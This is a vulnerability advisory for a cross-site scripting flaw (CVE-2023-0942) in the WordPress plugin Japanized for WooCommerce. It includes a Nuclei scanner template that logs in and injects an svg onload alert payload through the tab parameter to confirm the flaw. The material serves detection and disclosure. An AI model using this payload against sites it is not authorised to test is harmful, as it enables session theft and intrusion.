CVE-2023-0942: WordPress Japanized for WooCommerce <2.5.5 - Cross-Site Scripting

2025-08-01 WordPress Japanized for WooCommerce PoC Public

Description

WordPress Japanized for WooCommerce plugin before 2.5.5 is susceptible to cross-site scripting via the tab parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PoC

id: CVE-2023-0942

info:
  name: WordPress Japanized for WooCommerce <2.5.5 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    WordPress Japanized for WooCommerce plugin before 2.5.5 is susceptible to cross-site scripting via the tab parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: Fixed in version 2.5.5.
  reference:
    - https://wpscan.com/vulnerability/71aa9460-6dea-49cc-946c-d7d4bf723511
    - https://wordpress.org/plugins/woocommerce-for-japan/
    - https://plugins.trac.wordpress.org/browser/woocommerce-for-japan/trunk/includes/admin/views/html-admin-setting-screen.php#L63
    - https://nvd.nist.gov/vuln/detail/CVE-2023-0942
    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=2868545%40woocommerce-for-japan%2Ftrunk&old=2863064%40woocommerce-for-japan%2Ftrunk&sfp_email=&sfph_mail=
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-0942
    cwe-id: CWE-79
    epss-score: 0.01213
    epss-percentile: 0.66991
    cpe: cpe:2.3:a:artisanworkshop:japanized_for_woocommerce:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: artisanworkshop
    product: japanized_for_woocommerce
    framework: wordpress
  tags: cve2023,cve,woocommerce-for-japan,wp,wpscan,wordpress,authenticated,xss,woocommerce,plugin,artisanworkshop,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=wc4jp-options&tab=a</script><svg/onload=alert(document.domain)> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(body_2, "<svg/onload=alert(document.domain)>") && contains(body_2, "woocommerce-for-japan")'
        condition: and
# digest: 4b0a00483046022100aa43190088e1175b56ee9816461d4c8076465848e2b8976b1ddbfe111f7dbc7c022100ff45ed344f1162886a26ab6cbc5eefe028c912337f4e137031d5174c08a199c3:922c64590222798bb761d5b6d8e72950

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Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-0942.yaml

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